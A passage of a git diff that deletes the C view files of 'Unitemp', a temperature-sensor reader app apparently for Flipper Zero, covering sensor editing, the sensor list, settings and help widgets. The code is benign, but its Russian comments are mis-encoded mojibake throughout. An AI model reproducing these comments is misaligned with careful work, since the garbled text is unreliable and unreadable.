variable_item_get_current_value_index(item) - 20; - snprintf( - offset_buff, OFFSET_BUFF_SIZE, "%+1.1f", (double)(editable_sensor->temp_offset / 10.0)); - variable_item_set_current_value_text(item, offset_buff); -} - -/** - * @brief Создание меню Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - */ -void unitemp_SensorEdit_alloc(void) { - variable_item_list = variable_item_list_alloc(); - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - - //Добавление колбека на нажатие Ñредней кнопки - variable_item_list_set_enter_callback(variable_item_list, _enter_callback, app); - - //Создание вида из ÑпиÑка - view = variable_item_list_get_view(variable_item_list); - //Добавление колбека на нажатие кнопки "Ðазад" - view_set_previous_callback(view, _exit_callback); - //Добавление вида в диÑпетчер - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, view); - - offset_buff = malloc(OFFSET_BUFF_SIZE); -} - -void unitemp_SensorEdit_switch(Sensor* sensor) { - editable_sensor = sensor; - - editable_sensor->status = UT_SENSORSTATUS_INACTIVE; - - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - //Обнуление поÑледнего выбранного пункта - variable_item_list_set_selected_item(variable_item_list, 0); - - //Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - sensor_name_item = variable_item_list_add( - variable_item_list, "Name", strlen(sensor->name) > 7 ? 1 : 2, _name_change_callback, NULL); - variable_item_set_current_value_index(sensor_name_item, 0); - variable_item_set_current_value_text(sensor_name_item, sensor->name); - - //Тип датчика (не редактируетÑÑ) - onewire_type_item = variable_item_list_add(variable_item_list, "Type", 1, NULL, NULL); - variable_item_set_current_value_index(onewire_type_item, 0); - variable_item_set_current_value_text( - onewire_type_item, - (sensor->type->interface == &ONE_WIRE ? unitemp_onewire_sensor_getModel(editable_sensor) : - sensor->type->typename)); - //Смещение температуры - temp_offset_item = variable_item_list_add( - variable_item_list, "Temp. offset", 41, _offset_change_callback, NULL); - variable_item_set_current_value_index(temp_offset_item, sensor->temp_offset + 20); - snprintf( - offset_buff, OFFSET_BUFF_SIZE, "%+1.1f", (double)(editable_sensor->temp_offset / 10.0)); - variable_item_set_current_value_text(temp_offset_item, offset_buff); - - //Порт Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° (Ð´Ð»Ñ one wire, SPI и single wire) - if(sensor->type->interface == &ONE_WIRE || sensor->type->interface == &SINGLE_WIRE || - sensor->type->interface == &SPI) { - if(sensor->type->interface == &ONE_WIRE) { - initial_gpio = ((OneWireSensor*)editable_sensor->instance)->bus->gpio; - } else if(sensor->type->interface == &SINGLE_WIRE) { - initial_gpio = ((SingleWireSensor*)editable_sensor->instance)->gpio; - } else if(sensor->type->interface == &SPI) { - initial_gpio = ((SPISensor*)editable_sensor->instance)->CS_pin; - } - - uint8_t aviable_gpio_count = - unitemp_gpio_getAviablePortsCount(sensor->type->interface, initial_gpio); - VariableItem* item = variable_item_list_add( - variable_item_list, "GPIO", aviable_gpio_count, _gpio_change_callback, app); - - uint8_t gpio_index = 0; - if(unitemp_sensor_isContains(editable_sensor)) { - for(uint8_t i = 0; i < aviable_gpio_count; i++) { - if(unitemp_gpio_getAviablePort(sensor->type->interface, i, initial_gpio) == - initial_gpio) { - gpio_index = i; - break; - } - } - } - variable_item_set_current_value_index(item, gpio_index); - variable_item_set_current_value_text( - item, - unitemp_gpio_getAviablePort(sensor->type->interface, gpio_index, initial_gpio)->name); - } - //ÐÐ´Ñ€ÐµÑ ÑƒÑтройÑтва на шине I2C (Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² I2C) - if(sensor->type->interface == &I2C) { - VariableItem* item = variable_item_list_add( - variable_item_list, - "I2C address", - (((I2CSensor*)sensor->instance)->maxI2CAdr >> 1) - - (((I2CSensor*)sensor->instance)->minI2CAdr >> 1) + 1, - _i2caddr_change_callback, - app); - snprintf(app->buff, 5, "0x%2X", ((I2CSensor*)sensor->instance)->currentI2CAdr >> 1); - variable_item_set_current_value_index( - item, - (((I2CSensor*)sensor->instance)->currentI2CAdr >> 1) - - (((I2CSensor*)sensor->instance)->minI2CAdr >> 1)); - variable_item_set_current_value_text(item, app->buff); - } - - //ÐÐ´Ñ€ÐµÑ ÑƒÑтройÑтва на шине one wire (Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² one wire) - if(sensor->type->interface == &ONE_WIRE) { - onewire_addr_item = variable_item_list_add( - variable_item_list, "Address", 2, _onwire_addr_change_callback, NULL); - OneWireSensor* ow_sensor = sensor->instance; - if(ow_sensor->familyCode == 0) { - variable_item_set_current_value_text(onewire_addr_item, "Scan"); - } else { - snprintf( - app->buff, - 10, - "%02X%02X%02X", - ow_sensor->deviceID[1], - ow_sensor->deviceID[2], - ow_sensor->deviceID[3]); - variable_item_set_current_value_text(onewire_addr_item, app->buff); - } - } - variable_item_list_add(variable_item_list, "Save", 1, NULL, NULL); - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} - -void unitemp_SensorEdit_free(void) { - //ОчиÑтка ÑпиÑка Ñлементов - variable_item_list_free(variable_item_list); - //ОчиÑтка вида - view_free(view); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); - free(offset_buff); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/SensorNameEdit_view.c b/applications/external/unitemp/views/SensorNameEdit_view.c deleted file mode 100644 index 19df76edf..000000000 --- a/applications/external/unitemp/views/SensorNameEdit_view.c +++ /dev/null @@ -1,47 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include - -//Окно ввода текÑта -static TextInput* text_input; -//Текущий редактируемый датчик -static Sensor* editable_sensor; - -#define VIEW_ID UnitempViewSensorNameEdit - -static void _sensor_name_changed_callback(void* context) { - UNUSED(context); - unitemp_SensorEdit_switch(editable_sensor); -} - -void unitemp_SensorNameEdit_alloc(void) { - text_input = text_input_alloc(); - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, text_input_get_view(text_input)); - text_input_set_header_text(text_input, "Sensor name"); -} -void unitemp_SensorNameEdit_switch(Sensor* sensor) { - editable_sensor = sensor; - text_input_set_result_callback( - text_input, _sensor_name_changed_callback, app, sensor->name, 11, true); - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} -void unitemp_SensorNameEdit_free(void) { - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); - text_input_free(text_input); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/SensorsList_view.c b/applications/external/unitemp/views/SensorsList_view.c deleted file mode 100644 index 716ec260b..000000000 --- a/applications/external/unitemp/views/SensorsList_view.c +++ /dev/null @@ -1,163 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include -#include - -extern const Icon I_Cry_dolph_55x52; - -//Текущий вид -static View* view; -//СпиÑок -static VariableItemList* variable_item_list; - -#define VIEW_ID UnitempViewSensorsList - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _exit_callback(void* context) { - UNUSED(context); - - //Возврат предыдущий вид - return UnitempViewGeneral; -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ñредней кнопки - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @param index Ðа каком Ñлементе ÑпиÑка была нажата кнопка - */ -static void _enter_callback(void* context, uint32_t index) { - UNUSED(context); - if(index == unitemp_sensors_getTypesCount()) { - unitemp_widget_help_switch(); - return; - } - - const SensorType* type = unitemp_sensors_getTypes()[index]; - uint8_t sensor_type_count = 0; - - //ПодÑчёт имеющихÑÑ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð² данного типа - for(uint8_t i = 0; i < unitemp_sensors_getActiveCount(); i++) { - if(unitemp_sensor_getActive(i)->type == type) { - sensor_type_count++; - } - } - - //Ð˜Ð¼Ñ Ð´Ð°Ñ‚Ñ‡ÐºÐ° - char sensor_name[11]; - //Добавление Ñчётчика к имени еÑли такой датчик имеетÑÑ - if(sensor_type_count == 0) - snprintf(sensor_name, 11, "%s", type->typename); - else - snprintf(sensor_name, 11, "%s_%d", type->typename, sensor_type_count); - - char args[22] = {0}; - - //Проверка доÑтупноÑти датчика - if(unitemp_gpio_getAviablePort(type->interface, 0, NULL) == NULL) { - if(type->interface == &SINGLE_WIRE || type->interface == &ONE_WIRE) { - unitemp_popup( - &I_Cry_dolph_55x52, "Sensor is unavailable", "All GPIOs\nare busy", VIEW_ID); - } - if(type->interface == &I2C) { - unitemp_popup( - &I_Cry_dolph_55x52, "Sensor is unavailable", "GPIOs 15 or 16\nare busy", VIEW_ID); - } - return; - } - - //Выбор первого доÑтупного порта Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° single wire и SPI - if(type->interface == &SINGLE_WIRE || type->interface == &SPI) { - snprintf( - args, - 4, - "%d", - unitemp_gpio_toInt(unitemp_gpio_getAviablePort(type->interface, 0, NULL))); - } - //Выбор первого доÑтупного порта Ð´Ð»Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° one wire и запиÑÑŒ нулевого ID - if(type->interface == &ONE_WIRE) { - snprintf( - args, - 21, - "%d %02X%02X%02X%02X%02X%02X%02X%02X", - unitemp_gpio_toInt(unitemp_gpio_getAviablePort(type->interface, 0, NULL)), - 0, - 0, - 0, - 0, - 0, - 0, - 0, - 0); - } - //Ð”Ð»Ñ I2C Ð°Ð´Ñ€ÐµÑ Ð²Ñ‹Ð±ÐµÑ€ÐµÑ‚ÑÑ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки - - unitemp_SensorEdit_switch(unitemp_sensor_alloc(sensor_name, type, args)); -} - -/** - * @brief Создание меню Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð°Ñтроек - */ -void unitemp_SensorsList_alloc(void) { - variable_item_list = variable_item_list_alloc(); - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - - //Добавление в ÑпиÑок доÑтупных датчиков - for(uint8_t i = 0; i < unitemp_sensors_getTypesCount(); i++) { - if(unitemp_sensors_getTypes()[i]->altname == NULL) { - variable_item_list_add( - variable_item_list, unitemp_sensors_getTypes()[i]->typename, 1, NULL, app); - } else { - variable_item_list_add( - variable_item_list, unitemp_sensors_getTypes()[i]->altname, 1, NULL, app); - } - } - variable_item_list_add(variable_item_list, "I don't know what to choose", 1, NULL, app); - - //Добавление колбека на нажатие Ñредней кнопки - variable_item_list_set_enter_callback(variable_item_list, _enter_callback, app); - - //Создание вида из ÑпиÑка - view = variable_item_list_get_view(variable_item_list); - //Добавление колбека на нажатие кнопки "Ðазад" - view_set_previous_callback(view, _exit_callback); - //Добавление вида в диÑпетчер - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, view); -} - -void unitemp_SensorsList_switch(void) { - //Обнуление поÑледнего выбранного пункта - variable_item_list_set_selected_item(variable_item_list, 0); - - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} - -void unitemp_SensorsList_free(void) { - //ОчиÑтка ÑпиÑка Ñлементов - variable_item_list_free(variable_item_list); - //ОчиÑтка вида - view_free(view); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); -} \ No newline at end of file diff --git a/applications/external/unitemp/views/Settings_view.c b/applications/external/unitemp/views/Settings_view.c deleted file mode 100644 index 3d1eca906..000000000 --- a/applications/external/unitemp/views/Settings_view.c +++ /dev/null @@ -1,167 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include - -//Текущий вид -static View* view; -//СпиÑок -static VariableItemList* variable_item_list; - -static const char states[2][9] = {"Auto", "Infinity"}; -static const char temp_units[UT_TEMP_COUNT][3] = {"*C", "*F"}; -static const char pressure_units[UT_PRESSURE_COUNT][6] = {"mm Hg", "in Hg", "kPa", "hPA"}; -static const char heat_index_bool[2][4] = {"OFF", "ON"}; - -//Элемент ÑпиÑка - беÑÐºÐ¾Ð½ÐµÑ‡Ð½Ð°Ñ Ð¿Ð¾Ð´Ñветка -VariableItem* infinity_backlight_item; -//Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ñ‚ÐµÐ¼Ð¿ÐµÑ€Ð°Ñ‚ÑƒÑ€Ñ‹ -VariableItem* temperature_unit_item; -//Единица Ð¸Ð·Ð¼ÐµÑ€ÐµÐ½Ð¸Ñ Ð´Ð°Ð²Ð»ÐµÐ½Ð¸Ñ -VariableItem* pressure_unit_item; - -VariableItem* heat_index_item; -#define VIEW_ID UnitempViewSettings - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _exit_callback(void* context) { - UNUSED(context); - //КоÑтыль Ñ Ð·Ð°Ð²Ð¸Ñающей подÑветкой - if((bool)variable_item_get_current_value_index(infinity_backlight_item) != - app->settings.infinityBacklight) { - if((bool)variable_item_get_current_value_index(infinity_backlight_item)) { - notification_message(app->notifications, &sequence_display_backlight_enforce_on); - } else { - notification_message(app->notifications, &sequence_display_backlight_enforce_auto); - } - } - - app->settings.infinityBacklight = - (bool)variable_item_get_current_value_index(infinity_backlight_item); - app->settings.temp_unit = variable_item_get_current_value_index(temperature_unit_item); - app->settings.pressure_unit = variable_item_get_current_value_index(pressure_unit_item); - app->settings.heat_index = variable_item_get_current_value_index(heat_index_item); - unitemp_saveSettings(); - unitemp_loadSettings(); - - //Возврат предыдущий вид - return UnitempViewMainMenu; -} -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ Ñредней кнопки - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @param index Ðа каком Ñлементе ÑпиÑка была нажата кнопка - */ -static void _enter_callback(void* context, uint32_t index) { - UNUSED(context); - UNUSED(index); -} - -static void _setting_change_callback(VariableItem* item) { - if(item == infinity_backlight_item) { - variable_item_set_current_value_text( - infinity_backlight_item, - states[variable_item_get_current_value_index(infinity_backlight_item)]); - } - if(item == temperature_unit_item) { - variable_item_set_current_value_text( - temperature_unit_item, - temp_units[variable_item_get_current_value_index(temperature_unit_item)]); - } - if(item == pressure_unit_item) { - variable_item_set_current_value_text( - pressure_unit_item, - pressure_units[variable_item_get_current_value_index(pressure_unit_item)]); - } - if(item == heat_index_item) { - variable_item_set_current_value_text( - heat_index_item, - heat_index_bool[variable_item_get_current_value_index(heat_index_item)]); - } -} - -/** - * @brief Создание меню Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ Ð½Ð°Ñтроек - */ -void unitemp_Settings_alloc(void) { - variable_item_list = variable_item_list_alloc(); - //Ð¡Ð±Ñ€Ð¾Ñ Ð²Ñех Ñлементов меню - variable_item_list_reset(variable_item_list); - - infinity_backlight_item = variable_item_list_add( - variable_item_list, "Backlight time", UT_TEMP_COUNT, _setting_change_callback, app); - temperature_unit_item = - variable_item_list_add(variable_item_list, "Temp. unit", 2, _setting_change_callback, app); - pressure_unit_item = variable_item_list_add( - variable_item_list, "Press. unit", UT_PRESSURE_COUNT, _setting_change_callback, app); - heat_index_item = variable_item_list_add( - variable_item_list, "Calc. heat index", 2, _setting_change_callback, app); - - //Добавление колбека на нажатие Ñредней кнопки - variable_item_list_set_enter_callback(variable_item_list, _enter_callback, app); - - //Создание вида из ÑпиÑка - view = variable_item_list_get_view(variable_item_list); - //Добавление колбека на нажатие кнопки "Ðазад" - view_set_previous_callback(view, _exit_callback); - //Добавление вида в диÑпетчер - view_dispatcher_add_view(app->view_dispatcher, VIEW_ID, view); -} - -void unitemp_Settings_switch(void) { - //Обнуление поÑледнего выбранного пункта - variable_item_list_set_selected_item(variable_item_list, 0); - - variable_item_set_current_value_index( - infinity_backlight_item, (uint8_t)app->settings.infinityBacklight); - variable_item_set_current_value_text( - infinity_backlight_item, - states[variable_item_get_current_value_index(infinity_backlight_item)]); - - variable_item_set_current_value_index(temperature_unit_item, (uint8_t)app->settings.temp_unit); - variable_item_set_current_value_text( - temperature_unit_item, - temp_units[variable_item_get_current_value_index(temperature_unit_item)]); - - variable_item_set_current_value_index( - pressure_unit_item, (uint8_t)app->settings.pressure_unit); - variable_item_set_current_value_text( - pressure_unit_item, - pressure_units[variable_item_get_current_value_index(pressure_unit_item)]); - - variable_item_set_current_value_index(heat_index_item, (uint8_t)app->settings.heat_index); - variable_item_set_current_value_text( - heat_index_item, heat_index_bool[variable_item_get_current_value_index(heat_index_item)]); - - view_dispatcher_switch_to_view(app->view_dispatcher, VIEW_ID); -} - -void unitemp_Settings_free(void) { - //ОчиÑтка ÑпиÑка Ñлементов - variable_item_list_free(variable_item_list); - //ОчиÑтка вида - view_free(view); - //Удаление вида поÑле обработки - view_dispatcher_remove_view(app->view_dispatcher, VIEW_ID); -} diff --git a/applications/external/unitemp/views/UnitempViews.h b/applications/external/unitemp/views/UnitempViews.h deleted file mode 100644 index b78cf2b28..000000000 --- a/applications/external/unitemp/views/UnitempViews.h +++ /dev/null @@ -1,94 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SCENES -#define UNITEMP_SCENES - -#include "../unitemp.h" - -//Виды менюшек -typedef enum UnitempViews { - UnitempViewGeneral, - UnitempViewMainMenu, - UnitempViewSettings, - UnitempViewSensorsList, - UnitempViewSensorEdit, - UnitempViewSensorNameEdit, - UnitempViewSensorActions, - UnitempViewWidget, - UnitempViewPopup, - - UnitempViewsCount -} UnitempViews; - -/** - * @brief ВывеÑти вÑплывающее окно - * - * @param icon Указатель на иконку - * @param header Заголовок - * @param message Сообщение - * @param prev_view_id ID вида куда в который нужно вернутьÑÑ - */ -void unitemp_popup(const Icon* icon, char* header, char* message, uint32_t prev_view_id); - -/* Общий вид на датчики */ -void unitemp_General_alloc(void); -void unitemp_General_switch(void); -void unitemp_General_free(void); - -/* Главное меню */ -void unitemp_MainMenu_alloc(void); -void unitemp_MainMenu_switch(void); -void unitemp_MainMenu_free(void); - -/* ÐаÑтройки */ -void unitemp_Settings_alloc(void); -void unitemp_Settings_switch(void); -void unitemp_Settings_free(void); - -/* СпиÑок датчиков */ -void unitemp_SensorsList_alloc(void); -void unitemp_SensorsList_switch(void); -void unitemp_SensorsList_free(void); - -/* Редактор датчка */ -void unitemp_SensorEdit_alloc(void); -//sensor - указатель на редактируемый датчик -void unitemp_SensorEdit_switch(Sensor* sensor); -void unitemp_SensorEdit_free(void); - -/* Редактор имени датчика */ -void unitemp_SensorNameEdit_alloc(void); -void unitemp_SensorNameEdit_switch(Sensor* sensor); -void unitemp_SensorNameEdit_free(void); - -/* СпиÑок дейÑтвий Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ¾Ð¼ */ -void unitemp_SensorActions_alloc(void); -void unitemp_SensorActions_switch(Sensor* sensor); -void unitemp_SensorActions_free(void); - -/* Виджеты */ -void unitemp_widgets_alloc(void); -void unitemp_widgets_free(void); - -/* Подтверждение ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ */ -void unitemp_widget_delete_switch(Sensor* sensor); -/* Помощь */ -void unitemp_widget_help_switch(void); -/* О приложении */ -void unitemp_widget_about_switch(void); -#endif \ No newline at end of file diff --git a/applications/external/unitemp/views/Widgets_view.c b/applications/external/unitemp/views/Widgets_view.c deleted file mode 100644 index 97505d925..000000000 --- a/applications/external/unitemp/views/Widgets_view.c +++ /dev/null @@ -1,205 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "UnitempViews.h" -#include "unitemp_icons.h" - -extern const Icon I_DolphinCommon_56x48; - -void unitemp_widgets_alloc(void) { - app->widget = widget_alloc(); - view_dispatcher_add_view( - app->view_dispatcher, UnitempViewWidget, widget_get_view(app->widget)); -} - -void unitemp_widgets_free(void) { - view_dispatcher_remove_view(app->view_dispatcher, UnitempViewWidget); - widget_free(app->widget); -} - -/* ================== Подтверждение ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ ================== */ -Sensor* current_sensor; -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _delete_exit_callback(void* context) { - UNUSED(context); - //Возвращаем ID вида, в который нужно вернутьÑÑ - return UnitempViewSensorActions; -} -/** - * @brief Обработчик нажатий на кнопку в виджете - * - * @param result ÐšÐ°ÐºÐ°Ñ Ð¸Ð· кнопок была нажата - * @param type Тип Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ - * @param context Указатель на данные плагина - */ -static void _delete_click_callback(GuiButtonType result, InputType type, void* context) { - UNUSED(context); - //Коротко нажата Ð»ÐµÐ²Ð°Ñ ÐºÐ½Ð¾Ð¿ÐºÐ° (Cancel) - if(result == GuiButtonTypeLeft && type == InputTypeShort) { - unitemp_SensorActions_switch(current_sensor); - } - //Коротко нажата Ð¿Ñ€Ð°Ð²Ð°Ñ ÐºÐ½Ð¾Ð¿ÐºÐ° (Delete) - if(result == GuiButtonTypeRight && type == InputTypeShort) { - //Удаление датчика - unitemp_sensor_delete(current_sensor); - //Выход из меню - unitemp_General_switch(); - } -} -/** - * @brief Переключение в виджет ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - */ -void unitemp_widget_delete_switch(Sensor* sensor) { - current_sensor = sensor; - //ОчиÑтка виджета - widget_reset(app->widget); - //Добавление кнопок - widget_add_button_element( - app->widget, GuiButtonTypeLeft, "Cancel", _delete_click_callback, app); - widget_add_button_element( - app->widget, GuiButtonTypeRight, "Delete", _delete_click_callback, app); - - snprintf(app->buff, BUFF_SIZE, "\e#Delete %s?\e#", current_sensor->name); - widget_add_text_box_element( - app->widget, 0, 0, 128, 23, AlignCenter, AlignCenter, app->buff, false); - - if(current_sensor->type->interface == &ONE_WIRE) { - OneWireSensor* s = current_sensor->instance; - - snprintf( - app->buff, - BUFF_SIZE, - "\e#Type:\e# %s", - unitemp_onewire_sensor_getModel(current_sensor)); - widget_add_text_box_element( - app->widget, 0, 16, 128, 23, AlignLeft, AlignTop, app->buff, false); - snprintf(app->buff, BUFF_SIZE, "\e#GPIO:\e# %s", s->bus->gpio->name); - widget_add_text_box_element( - app->widget, 0, 28, 128, 23, AlignLeft, AlignTop, app->buff, false); - - snprintf( - app->buff, - BUFF_SIZE, - "\e#ID:\e# %02X%02X%02X%02X%02X%02X%02X%02X", - s->deviceID[0], - s->deviceID[1], - s->deviceID[2], - s->deviceID[3], - s->deviceID[4], - s->deviceID[5], - s->deviceID[6], - s->deviceID[7]); - widget_add_text_box_element( - app->widget, 0, 40, 128, 23, AlignLeft, AlignTop, app->buff, false); - } - - if(current_sensor->type->interface == &SINGLE_WIRE) { - snprintf(app->buff, BUFF_SIZE, "\e#Type:\e# %s", current_sensor->type->typename); - widget_add_text_box_element( - app->widget, 0, 16, 128, 23, AlignLeft, AlignTop, app->buff, false); - snprintf( - app->buff, - BUFF_SIZE, - "\e#GPIO:\e# %s", - ((SingleWireSensor*)current_sensor->instance)->gpio->name); - widget_add_text_box_element( - app->widget, 0, 28, 128, 23, AlignLeft, AlignTop, app->buff, false); - } - - if(current_sensor->type->interface == &I2C) { - snprintf(app->buff, BUFF_SIZE, "\e#Type:\e# %s", current_sensor->type->typename); - widget_add_text_box_element( - app->widget, 0, 16, 128, 23, AlignLeft, AlignTop, app->buff, false); - snprintf( - app->buff, - BUFF_SIZE, - "\e#I2C addr:\e# 0x%02X", - ((I2CSensor*)current_sensor->instance)->currentI2CAdr >> 1); - widget_add_text_box_element( - app->widget, 0, 28, 128, 23, AlignLeft, AlignTop, app->buff, false); - } - - view_set_previous_callback(widget_get_view(app->widget), _delete_exit_callback); - view_dispatcher_switch_to_view(app->view_dispatcher, UnitempViewWidget); -} - -/* ========================== Помощь ========================== */ - -/** - * @brief Ð¤ÑƒÐ½ÐºÑ†Ð¸Ñ Ð¾Ð±Ñ€Ð°Ð±Ð¾Ñ‚ÐºÐ¸ Ð½Ð°Ð¶Ð°Ñ‚Ð¸Ñ ÐºÐ½Ð¾Ð¿ÐºÐ¸ "Ðазад" - * - * @param context Указатель на данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ - * @return ID вида в который нужно переключитьÑÑ - */ -static uint32_t _help_exit_callback(void* context) { - UNUSED(context); - //Возвращаем ID вида, в который нужно вернутьÑÑ - return UnitempViewGeneral; -} - -/** - * @brief Переключение в виджет помощи - */ -void unitemp_widget_help_switch(void) { - //ОчиÑтка виджета - widget_reset(app->widget); - - widget_add_icon_element(app->widget, 3, 7, &I_repo_qr_50x50); - widget_add_icon_element(app->widget, 71, 15, &I_DolphinCommon_56x48); - - widget_add_string_multiline_element( - app->widget, 55, 5, AlignLeft, AlignTop, FontSecondary, "You can find help\nthere"); - - widget_add_frame_element(app->widget, 0, 0, 128, 63, 7); - widget_add_frame_element(app->widget, 0, 0, 128, 64, 7); - - view_set_previous_callback(widget_get_view(app->widget), _help_exit_callback); - view_dispatcher_switch_to_view(app->view_dispatcher, UnitempViewWidget); -} - -/* ========================== О приложении ========================== */ - -/** - * @brief Переключение в виджет о приложении - */ -void unitemp_widget_about_switch(void) { - //ОчиÑтка виджета - widget_reset(app->widget); - - widget_add_frame_element(app->widget, 0, 0, 128, 63, 7); - widget_add_frame_element(app->widget, 0, 